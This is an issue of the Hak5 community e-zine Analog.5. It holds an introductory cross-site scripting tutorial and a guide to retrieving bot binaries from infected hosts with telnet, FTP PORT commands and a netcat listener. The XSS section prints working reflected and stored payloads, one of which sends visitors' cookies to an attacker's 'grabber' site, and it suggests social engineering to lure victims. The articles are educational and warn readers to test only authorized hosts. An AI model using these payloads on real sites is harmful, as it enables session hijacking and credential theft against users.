Copy Link
Add to Bookmark
Report
Analog.5 Issue 3
/------------------------------------------------------------------------\
| _______ |
| | | |
| ____ __ __ ____ __ _____ _____ | __| |
| / __ \ | \ | | / __ \ | | / _ \ / ___| | |__ |
| / __ \ | \| | / __ \ | |__ | |_| || |_---\ |___ \ |
| /__| |__\|__|\___|/__| |__\|_____| \_____/ \______| --__| | |
| | | |
| a n a l o g | | |
| \_______/ |
| |
\-----------------------------------------------------------------<sprx>-/
. Issue # 03 . | The Hak.5 | . .
: -----|---- |------------ | E - Zine | ------------| ----|--- :
|--------------|-- \--------------/ --|------------|
--------------------------------------------------------------
Analog.5 is a hacking eZine designed by the Hak5 community, for the Hak5
community. The editors of Analog.5 ask you to create articles to appear
in the ezine and help bring technolust to the masses. Articles can be any
size, and submited by email. Almost all entries are instantly accepted.
This zine is licensed under the Attribution-NonCommercial-ShareAlike 2.5
license. If you don't want your work to be redistributed, do not submit.
Analog5@Live.com
Famicoman Gameman73 Mubix
Famicoman@live.com xxxxxxxxxxxxxxxxxx Jd.mubix@gmail.com
Editor-In-Chief Executive editor Executive Editor
Table Of Contents.
Section.0.Analog.5: Update.....................................Famicoman
Section.1.Web Application Penetration Testing....................Paradox
Section.2.Botnet Hunting.......................................gameman73
The Amazing Analog.5 Logo and Ascii Art was Designed by Sprecker
|--------------|--------------\______________/--------------|------------|
: |-----|----------------/ \-----------------|---| :
. Section 0 . |--------------| |--------------| . .
Analog.5: Update
Nothing real important this month. Mad props to gameman73. Also, if you
want an RSS feed, make one yourself. I'm tired of this question. I'm
quite anti-RSS feeds. [This article keeps getting shorter :X ]
-Famicoman
Famicoman@live.com
http://hackinacan.siteled.com
|--------------|--------------\______________/--------------|------------|
: |-----|----------------/ \-----------------|---| :
. Section 1 . |--------------| |--------------| . .
--[ Web Application Penetration Testing ]--
With the recent proliferation of the Internet, the exponential growth in
the number of web-enabled users, and the advent of easy-to-use web
scripting languages, we have entered an era unlike any other in the
history of the Internet. Websites have become dynamic and responsive to
our input despite the inherent connectionless state of HTTP. Unfortunately
powered by low-cost hosting packages and the availability of free
instructional materials we have developed a world of do-it-yourself web
apps coded on flawed precepts and implemented without any thought to
security. In other words, we have jumped at the opportunity to create our
own applications but have not stopped to consider the effect that shoddy
design can have on Web security. To paraphrase one Uncle Ben Parker, “
With great power comes great responsibility.” [Ok, even I admit that was
lame]
Through the use of examples I have personally encountered I hope to
present an introduction to Website Penetration Testing and Cross-Site
Scripting (XSS). This is, by no means, a comprehensive text, but it
should form a solid foundation for the more-interested reader to build
upon.
However, it must be stressed that while Web Site Penetration Testing is
fun, challenging, and an incredibly useful skill, it must ONLY be
performed on hosts under your direct control, or on hosts that you have
received explicit authorization to test (preferably in writing).
Now that the dull serious bits are out of the way, lets start by taking
a look at XSS...
>> Ok, so what is this whole Cross-Site Scripting all about? Do I need
to be concerned for the safety of my tubes?!?! <<
-- The what --
Cross Site Scripting, or XSS, is the act of somehow "injecting"
executable JavaScript code into a web page so that it can be evaluated
and run by a clients’ web browser. [Ok, so that is a pretty simplified
explanation, but it will serve our purposes just fine].
An important thing to remember is that ALL XSS vulnerabilities rely on
two factors: 1) a web site trusting the input from an outside source
to be safe, or 2) a web site performing faulty filtering on this
extraneous input.
However before we go into any detail about code-injection strategies a
question of greater importance remains unanswered... WTF do we want to
inject JavaScript code into a website for anyway?
--- The why ---
Those of you familiar with JavaScript might be asking yourselves why
exactly one would want to inject JavaScript into a website to begin
with. It is well known that JavaScript has very little access to other
applications, to the computer’s memory, to the file system, and
certainly to the host operating system. So then, what is the point
of trying to penetrate another person’s site?
Put simply, so much of our lives involve Web applications in one form
or another that now they have become significant "target areas" for
control or manipulation. Or rather, there is a great deal of
worthwhile information we can capture and manipulate if we can control
this tier of the user’s day-to-day experience. In addition, when we
can place code on a website that we are not supposed to have control
over we created a powerful mechanism to distribute false information,
to spread exploit code, and to do anything our heart desires.
Furthermore, it is incredibly easy to do!
JavaScript also has the benefit of being a near-universal web browser
technology. In this day and age it is hard to find an average user
that doesn't have a browser that executes JavaScript code [unless
they are security conscious enough to whitelist it!].
Finally, the vast majority of Virus Scanners offer NO protection
against XSS vulnerabilities. Once a user has browsed a site with an
XSS attack placed on it they are already 0wned (and probably in an
entirely transparent manner!).
>> So, like, if I have the XSS my website is pwn'd?!?!? <<
Essentially.
-- So what can we do with our injected JavaScript? --
JavaScript has numerous built-in safety measures. One of the most
powerful being that JavaScript from one site CAN NOT access the data
of another site. That is to say, I can't put some 31337 JavaScript
code on my personal domain, and have it load cookie data or
manipulate the page you have opened in another tab, window, or
application.
XSS defeats this JavaScript "limitation" by putting OUR code into the
page we are trying to manipulate, giving it the “scope” of the target
domain and allowing all sorts of fun manipulations. In simple terms:
it avoids the constraint by making our code a part of the website that
we are exploiting. Since the browser doesn't know if any of the dynamic
content wasn't intended to be rendered as html (or interpretted as
javascript) we aren't crossing any “domain boundaries” as far as it is
concerned.
>> Fun manipulations you say? ZOMG! Like what!?!?! <<
Denial of service: We could remove every HTML element from a website on
the client side, thus rendering a blank page. We could “on page load”
redirect to localhost or another domain.
Credential stealing: We could access all of the cookies for a specific
domain. (This potentially gives us access to password hashes, session
keys, and anything else a site has placed into a cookie). You would be
surprised what some websites put in cookies assuming they are safe from
prying eyes and other users.
Local Network Exploits: A newer and more exciting payload for XSS is
having the code run in the local users’ browser exploit the users’ Local
Area Network to perform all sorts of fun tricks like network enumeration,
router exploits, and the like.
Other Fun Tricks: Hell, we can even replace every image on a page with
Goatse!
>> OH GOD THE HORROR! <<
There are essentially three forms of this kind of code-injection strategy.
The First, Type 0, will be left out of this article because of the relative
rarity of such injections.
-- The Two Types of XSS --
-- Type 1 --
Type 1 XSS exploits are the non-persistent variety. That is to say that once
you have performed the XSS inject, it will not last across multiple visits to
the site. This is the most common form of XSS vulnerability and is heavily
used by phishers and all manner of baddies.
This type of attack essentially works like this: Bob sets up a website [Lets
call it Bob's Emporium of 1337 Strats]. Bob wants users to be able to search
his “Strategies Database” once they have logged into his website. So what
does he do? Bob fires up his text editor and hammers out a simple PHP file
that accepts an HTML POST and queries a database for an article that matches
the users input, if no results are found in the DB, then he'll print an error
message. The format of the error message will be the following:
"Oh gnoes! We couldn't find any entries that
contain $TEXT_TO_SEARCH_FOR !!!!"
Obviously Bob's PHP script will replace $TEXT_TO_SEARCH_FOR with the text
the user provided to the search code. Unfortunately for Bob, however, he
fails to clean the input given to his code. [Keep that in mind...].
Now lets assume for a moment that Bob didn't leave any SQL Injection holes in
his PHP/DB (a pretty big assumption in this case). What kind of fun can we
have with this kind of sloppy code in terms of XSS?
Well what if we don't have a user account for Bob's Emporium of 1337 Strats.
[How will we ever stop being newbs!?!?!]. How could we gain the credentials
of another user? Since JavaScript doesn't let us cross the "domain boundary"
we can't access the cookies of a real user logged into Bob's Emporium from
one of our websites. Instead we have to get Bob's site to display our code
and then send the credentials to one of our websites.
How can we do this you say? Easy. Imagine that Bob's search page is
accessible at the following URL:
http://www.bobsemporiumof1337strats.com/search.php?text=starcraft
When sent to that URL, a logged-in user will search for Starcraft strats.
Since Bob doesn't clean the input he receives we could send a logged-in user
to the following URL for some... interesting... results.
[Broken into two lines for document formatting reasons]
http://www.bobsemporiumof1337strats.com/search.php?text=
<script>alert(document.cookie);</script>No Results Found
When logged-in users are tricked into clicking a crafted link such as the one
above they would be rather surprised to see their cookie information
presented to them in an alert box.
There are two things to keep in mind in this case. A) You would probably want
to CAPTURE the cookie information and, somehow, not alert the user (we'll
cover this later). Also, B) You must somehow trick a logged-in user into
clicking this link. This is where your social engineering skillz0rs will come
in handy.
How does it work? Well, since Bob displays the text we searched for in the
error message without parsing out HTML elements or the like, we are able to
"add" our bits of HTML/JavaScript to the real HTML of the page before it is
ever sent to the user. As far as the user is concerned the text we added is
present in Bob's original PHP file as static content.
-- Type 2 --
Type 2 XSS exploits are harder to find but the extra effort of trying to
find one is certainly rewarded. The only difference between Type 1 and Type
2 is the fact that with a Type 2 exploit the exploit code lasts across
multiple requests. Essentially, this code becomes a part of the website
itself you are exploiting.
How is this exploit better than Type 1? Well, with a Type 2 exploit we can
plant the code in a section of the site known to be frequented by logged-in
users and then we merely have to wait. In this case, since the exploit is
"saved" to the very page we are exploiting, we don't have to use any method
of social engineering to trick users into viewing the page using our input
(such as a search string like in our previous example). In this case, it is
likely the users will just stumble upon the exploit code themselves.
This form of exploit is especially popular with websites that allow
user-contributed content such as forums and social networking sites.
Imagine the following scenario: Bob wants to set up a social networking site;
in fact, he plans to allow users to enter their own HTML/CSS themed profile
pages that include rich content such as images, coloured text, and the like.
Bob again busts out some mad PHP-fu and produces a simple but effective
profile submission page that presents a text area for users to input HTML,
accepts the input, saves it to a DB under the users’ name, and then renders
the page for others.
Once again, unfortunately for Bob, he is a novice PHP coder and didn't put
much thought into security. He again fails to validate the user input and
parse out potentially dangerous tags.
What can we do to teach him the error of his ways you ask? Simple.
>> Poor Bob :'( <<
Why don't we create the following profile:
[Again broken into multiple lines for formatting]
<h3>I am a 1337 hax0rerrrr</h3>
<img src="http://mysite.com/sexyPicture.jpg" onLoad=
"javascript:document.location='http://mysite.com/grabber?cookie='+
document.cookie'">
<p>You'll never see this bit of HTML newblets!</p>
As you can see, since Bob failed to validate user input we were able to
create a picture in our profile that upon load redirects Alice's web
browser to our cookie-grabbing website, providing her cookie information
as a request parameter.
Things to note about this example: A) If you were actually going to exploit
a website in this manner it might throw off some SERIOUS red flags when
every user that is sent to your page is redirected to another page and
never sent back. B) You would have to ensure you have set up the "grabber"
website to catch the passed cookie information. [Or you could cleverly use
your web server’s error log]
How does this work? Once again it succeeds because Bob utilizes a faulty
input-scrubbing algorithm. Perhaps he only thought of the obvious: blocking
<script> tags, but failed to remember that we can use a combination of
regular HTML tags, event properties, and inline JavaScript to achieve the
same thing.
-- Part One Conclusion --
>> Does this only work on n00bs then!?!? <<
Does it only work on n00bs? No.
Will the techniques presented thus far only work on n00bs? Almost certainly.
However, now that you understand the basics of XSS exploits, why we are
doing it, and the basics of HOW we are doing it, we can move into more
advanced techniques for avoiding all but the most comprehensive of
filters.
Tune in next month for all of this and more!
[If you have found this article incredibly dull, then chances are you’ll
enjoy next months segment a great deal more]
>> Sweet! Same hak5 time, same hak5 channel! <<
-Paradox (Dan)
paradox@binaryparadox.net
|--------------|--------------\______________/--------------|------------|
: |-----|----------------/ \-----------------|---| :
. Section 2 . |--------------| |--------------| . .
Botnet Hunting
Famicoman says he wants an article so here we go....
I'm going to go over a brief description of how botnets work (at least how
the 2 popular bots work), and how to find some. I guess ill get my warning
out now.
***WARNING*** botnet owners typically don't like it when people come
snooping around their servers. If you don't want to potentially risk being
hacked, or DDoS'ed, I would avoid actually doing this. ***END WARNING***.
Now that that is out of the way, lets continue. According to vnu.co.uk, the
two most popular bots are sdbot and gaobot. Typically they spread via
unpatched vulnerabilitys in windows. These bots are controlled through an
IRC server. When the bots are active, they connect to the server and join
whatever room they were programmed to join. Often times, there will be a
topic with a command. The bot starts executing this command. The commands
could tell the bot to start spreading, print system information, start a
DDoS attack on a server, clone flood another irc server/channel, etc.
When a computer is exploited, it sends a batch file to the newly infected
computer that tells it to connect to a certain port on the zombie and
download the bot. This is done over FTP in Active mode.
So a simple to find random botnets is to just put a windows XP SP0 install
out on the internet and let it catch things. From there, you can get the
actual exe and figure out where it connects back to (either via wireshark,
or netstat.) But what if you're attempting to trace back a zombie to its
owner. That is also possible, provided you know the zombie's ip address.
To do this, I use nmap, netcat, and telnet. Theres no technical reason why a
proper ftp client couldn't work, however there are some oddities about the
ftp server hidden away on the bots that will confuse most ftp clients. I use
nmap to find the ftp server's port (typically its a 5 digit port number,
randomly generated when the bot is run), then telnet into it. From there,
you can type in..
USER *something random*
PASS *something random*
Yes, the bots by default don't have actual usernames or passwords. I'm not
sure if this is a configurable option on the bots or not, but I guess
whatever works. After that, you need to issue a PORT command. Now, this is
tricky if your not familar with the ftp protocol. If your ip address is
w.x.y.z, your going to type in PORT w,x,y,z,G,H . G and H is the port
number... however there are some calculations to be done to know which
values you put in. The formula for calculating the port number is
((G*256) + H), where H is under 256. So to find G, you would do integer
division on the port that you want open, divide by 256. The remainder of
that would then be H. Let me use an example.
You want port 35366... 35366\256 (note the \, that's integer division,
this is different from /, proper division). That gives you 138, G. From
here, you can do 35366%256 (modulous operator, returns just the remainder).
We get 38. So the actual port command would be 'PORT w,x,y,z,138,38'.
Hopefully thats understandable, if not, this is all ftp specifications so
google will be of help.
Now we need to open up the port of your choosing. Make sure ports are
fowarded and such. Netcat is a very handy tool for listening on a
connection and just dumping output to a file.
Run nc -l -p *port number* > file.bleh . This tells netcat to listen on
whatever port you tell it and dump it to file.bleh.
Now our problem is that we don't know the file name. So what do we do?
Pick something! Turns out that while a proper user/pass isn't needed, it
also isn't picky about a filename and just returns the file anyway. So
type in GET blehbleh.bleh and watch netcat print out the exe. (Note: if
you have antivirus software on the computer with the netcat server, it
may go off. Use at your own risk.)
Now you have a copy of the bot. What you do from here should be obvious,
and in the interests of time, I won't go over it. I would like to make a
final important note. Read the warning above, and remember, in order to
help control the botnet population, please scan and disinfect your
computer. :)
*Sources
http://www.vnu.co.uk/vnunet/news/2187626/evil-trojans-twins-control
http://slacksite.com/other/ftp.html
Mad props to Manuel and Moonlit for proofreading again.
-gameman73
. -----|---- |--------------| |--------------| ----|--- .
|--------------|-- \--------------/ --|------------|
--------------------------------------------------------------
